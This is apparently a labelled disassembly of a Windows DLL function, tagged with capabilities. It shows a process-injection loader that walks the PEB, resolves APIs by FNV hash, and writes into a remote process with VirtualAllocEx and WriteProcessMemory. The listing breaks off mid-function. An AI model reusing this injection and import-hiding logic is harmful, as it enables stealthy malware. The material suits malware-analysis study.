Function at 0x1800010d0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xd8
mov eax, 0x5a4d
mov r14, rdx
mov r12, rcx
cmp word [rdx], ax
jne 0x180002993
movsxd r13, dword [rdx + 0x3c]
mov eax, 0x8664
add r13, rdx
cmp word [r13 + 4], ax
jne 0x180002993
lea rcx, str.Ok_Fine__continue_Mr_Sweet_Boy.._n
call fcn.180001080
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800011b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800011b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x2de9e0a3
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800011b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180001190
cmp r8d, 0x6fb748ca
je 0x1800011bc
test r9d, r9d
jne 0x180001170
mov rax, qword [rax]
jmp 0x180001140
mov ecx, dword [rdi + 0x24]
mov r8d, dword [r13 + 0x50]
add rcx, r10
mov dword [rsp + 0x20], 4
movzx edx, word [rcx + r9*2]
mov r9d, 0x3000
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, r12
call rax
mov qword [rbp + 0x5f], rax
mov r15, rax
test rax, rax
je 0x180002993
xor esi, esi
mov dword [rbp + 0x6f], esi
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edi, dword [rax + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180001297
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180001297
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf7a28c29
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x180001292
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x180001270
cmp r8d, 0x9dd99e3a
je 0x18000129c
test r9d, r9d
jne 0x180001250
mov rcx, qword [rcx]
jmp 0x180001220
mov ecx, dword [rdi + 0x24]
mov r8d, dword [r13 + 0x50]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov r9d, 0x40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x6f]
mov qword [rsp + 0x20], rcx
add rax, r10
mov rcx, r12
mov rdx, r15
call rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x79], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x61], rsi
mov qword [rbp - 0x59], 1
mov qword [rbp - 0x49], 1
mov qword [rbp - 0x69], r15
mov qword [rbp - 0x51], rsi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180001397
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180001397
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x1021da02
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180001392
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180001370
cmp r8d, 0xec7b6fcd
je 0x18000139c
test r9d, r9d
jne 0x180001350
mov rax, qword [rax]
jmp 0x180001320
mov ecx, dword [rdi + 0x24]
mov r8, r14
add rcx, r10
mov qword [rsp + 0x20], rsi
movzx edx, word [rcx + r9*2]
mov r9d, 0x1000
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rdx, r15
add rax, r10
mov rcx, r12
call rax
test eax, eax
jne 0x18000148b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180001467
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180001467
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x11241a2c
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180001462
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180001440
cmp r8d, 0x34e4f130
je 0x18000146c
test r9d, r9d
jne 0x180001420
mov rax, qword [rax]
jmp 0x1800013f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rdx, r15
mov rcx, r12
jmp 0x180002985
movzx eax, word [r13 + 0x14]
add rax, 0x28
cmp word [r13 + 6], si
je 0x18000158c
lea rdi, [rax + r13]
cmp dword [rdi], 0
je 0x180001579
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001537
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001537
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0xd30c174f
lea rdx, [r10 + r9*4]
mov ecx, dword [rdx + r11]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180001532
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180001510
cmp r8d, 0x93751778
je 0x18000153c
test r9d, r9d
jne 0x1800014f0
mov rax, qword [rax]
jmp 0x1800014c0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
mov r8d, dword [rdi + 4]
add rcx, r10
add r8, r14
mov qword [rsp + 0x20], 0
movzx edx, word [rax + r9*2]
mov r9d, dword [rdi]
mov eax, dword [rcx + rdx*4]
mov rcx, r12
mov edx, dword [rdi - 4]
add rax, r10
add rdx, r15
call rax
test eax, eax
je 0x18000164e
movzx eax, word [r13 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x1800014a3
mov rsi, qword [rbp + 0x4f]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rsi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x40], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
test rdi, rdi
jne 0x180001720
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001649
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001649
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xe5415cd6
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001644
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001620
cmp edx, 0x454042d6
je 0x1800016fa
test r9d, r9d
jne 0x180001600
mov rax, qword [rax]
jmp 0x1800015d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800016d5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800016d5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xe609f6a1
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800016d0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800016b0
cmp edx, 0x24ba02ab
je 0x1800016da
test r9d, r9d
jne 0x180001690
mov rax, qword [rax]
jmp 0x180001660
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov rcx, r12
jmp 0x180002985
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov rdx, r15
jmp 0x180002982
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001795
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001795
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xef73a45a
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001790
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001770
cmp edx, 0x6c1c1985
je 0x18000179a
test r9d, r9d
jne 0x180001750
mov rax, qword [rax]
jmp 0x180001720
mov eax, dword [rbx + 0x24]
lea r8, [rsp + 0x50]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
xor r14d, r14d
mov qword [rsp + 0x20], r14
movzx edx, word [rax + r9*2]
lea r9d, [r14 + 0x40]
mov eax, dword [rcx + rdx*4]
mov rdx, rdi
add rax, r10
mov rcx, rsi
call rax
mov rcx, qword gs:[0x60]
test eax, eax
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x180001940
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001865
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001865
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x666e4f81
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001860
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001840
cmp edx, 0xe2aa044b
je 0x18000186a
test r9d, r9d
jne 0x180001820
mov rax, qword [rax]
jmp 0x1800017f0
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001925
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001925
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x616c090b
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001920
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001900
cmp edx, 0x4253cce9
je 0x18000192a
test r9d, r9d
jne 0x1800018e0
mov rax, qword [rax]
jmp 0x1800018b0
mov rdx, rdi
jmp 0x18000296d
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800019b5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800019b5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xaf938fc0
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800019b0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001990
cmp edx, 0x385d6255
je 0x1800019ba
test r9d, r9d
jne 0x180001970
mov rax, qword [rax]
jmp 0x180001940
mov ecx, dword [rbx + 0x24]
xor edx, edx
add rcx, r10
mov dword [rsp + 0x20], 0x40
movzx r8d, word [rcx + r9*2]
mov r9d, 0x3000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov r8d, 0x1000
add rax, r10
mov rcx, rsi
call rax
mov qword [rbp + 0x57], rax
mov r12, rax
test rax, rax
jne 0x180001b4e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001a85
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001a85
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x31e51355
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001a80
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001a60
cmp edx, 0xe9a9f0c7
je 0x180001a8a
test r9d, r9d
jne 0x180001a40
mov rax, qword [rax]
jmp 0x180001a10
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001b49
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001b49
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x9d80d8c5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001b44
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001b20
cmp edx, 0xdf219417
je 0x18000192a
test r9d, r9d
jne 0x180001b00
mov rax, qword [rax]
jmp 0x180001ad0
mov r9d, 0x1000
mov qword [rsp + 0x20], r14
lea r8, [0x1800029b0]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180001da6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001c05
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001c05
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x3238e8e8
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001c00
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001be0
cmp edx, 0xf4adfe34
je 0x180001c0a
test r9d, r9d
jne 0x180001bc0
mov rax, qword [rax]
jmp 0x180001b90
mov eax, dword [rbx + 0x24]
xor r8d, r8d
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r9d, 0x8000
mov eax, dword [rcx + rdx*4]
mov rdx, r15
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001cc5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001cc5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x23caf3ee
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001cc0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001ca0
cmp edx, 0xf6aa2ece
je 0x180001cca
test r9d, r9d
jne 0x180001c80
mov rax, qword [rax]
jmp 0x180001c50
mov eax, dword [rbx + 0x24]
xor r8d, r8d
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r9d, 0x8000
mov eax, dword [rcx + rdx*4]
mov rdx, rdi
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001d85
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001d85
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xb53174a
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001d80
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001d60
cmp edx, 0x95ec0302
je 0x180001d8a
test r9d, r9d
jne 0x180001d40
mov rax, qword [rax]
jmp 0x180001d10
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov rdx, r12
jmp 0x180002982
mov rdx, r15
lea rcx, str.Woman_at__p_n
call fcn.180001080
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001e45
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001e45
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xc8f00776
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001e40
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001e20
cmp edx, 0x1151c488
je 0x180001e4a
test r9d, r9d
jne 0x180001e00
mov rax, qword [rax]
jmp 0x180001dd0
mov eax, dword [rbx + 0x24]
xor r8d, r8d
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
movzx edx, word [rax + r9*2]
mov r9, r12
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
test rax, rax
jne 0x18000209e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001f15
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001f15
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x6f83775f
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001f10
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001ef0
cmp edx, 0x6fa7c65
je 0x180001f1a
test r9d, r9d
jne 0x180001ed0
mov rax, qword [rax]
jmp 0x180001ea0
mov eax, dword [rbx + 0x24]
xor r8d, r8d
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r9d, 0x8000
mov eax, dword [rcx + rdx*4]
mov rdx, r15
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180001fd5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180001fd5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x91f18bd5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180001fd0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180001fb0
cmp edx, 0x9b44ea47
je 0x180001fda
test r9d, r9d
jne 0x180001f90
mov rax, qword [rax]
jmp 0x180001f60
mov ecx, dword [rbx + 0x24]
mov rdx, rdi
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002099
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002099
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x3080cb73
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180002094
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180002070
cmp edx, 0x7fba4531
je 0x180001d8a
test r9d, r9d
jne 0x180002050
mov rax, qword [rax]
jmp 0x180002020
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
lea rdx, [rbp + 0x67]
mov dword [rbp + 0x67], r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x67], 0x103
jne 0x180002993
xorps xmm0, xmm0
mov qword [rsp + 0x20], r14
mov r9d, 0x40
lea r8, [rbp - 0x41]
mov rdx, rdi
mov rcx, rsi
movups xmmword [rbp - 0x41], xmm0
movups xmmword [rbp - 0x31], xmm0
movups xmmword [rbp - 0x21], xmm0
movups xmmword [rbp - 0x11], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x21]
cmp rbx, 0x404040
je 0x18000275b
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1800020b0
mov ecx, 0x1400000
call fcn.180024390
mov qword [rbp + 0x8f], rax
mov r15, rax
test rax, rax
je 0x180002993
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call fcn.18003fad0
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [rax + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800021d5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800021d5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xeb2e3e3e
add r8, r10
movzx eax, byte [r8]
inc r8
test al, al
je 0x1800021d0
nop
movsx eax, al
lea r8, [r8 + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8 - 1]
test al, al
jne 0x1800021b0
cmp edx, 0xe695ade1
je 0x1800021da
test r9d, r9d
jne 0x180002190
mov rcx, qword [rcx]
jmp 0x180002160
mov ecx, dword [rbx + 0x24]
mov r14, qword [rbp + 0x5f]
add rcx, r10
mov rdx, r14
movzx r8d, word [rcx + r9*2]
mov r9d, 0x1000
mov ecx, dword [rbx + 0x1c]
xor ebx, ebx
add rcx, r10
mov qword [rsp + 0x20], rbx
mov eax, dword [rcx + r8*4]
mov r8, r15
add rax, r10
mov rcx, rsi
call rax
movzx edi, word [r13 + 0x14]
mov esi, ebx
movzx ecx, word [r13 + 6]
add rdi, 0x18
add rdi, r13
test cx, cx
je 0x180002373
mov r12, qword [rbp + 0x4f]
lea rdx, str..rsrc
lea r8, str..reloc
nop dword [rax]
cmp dword [rdi + 8], 0
je 0x180002359
mov rcx, rbx
nop dword [rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x180002265
cmp rcx, 6
jne 0x180002250
jmp 0x180002288
mov rcx, rbx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x180002359
cmp rcx, 7
jne 0x180002270
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002315
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002315
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x45be7d47
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180002310
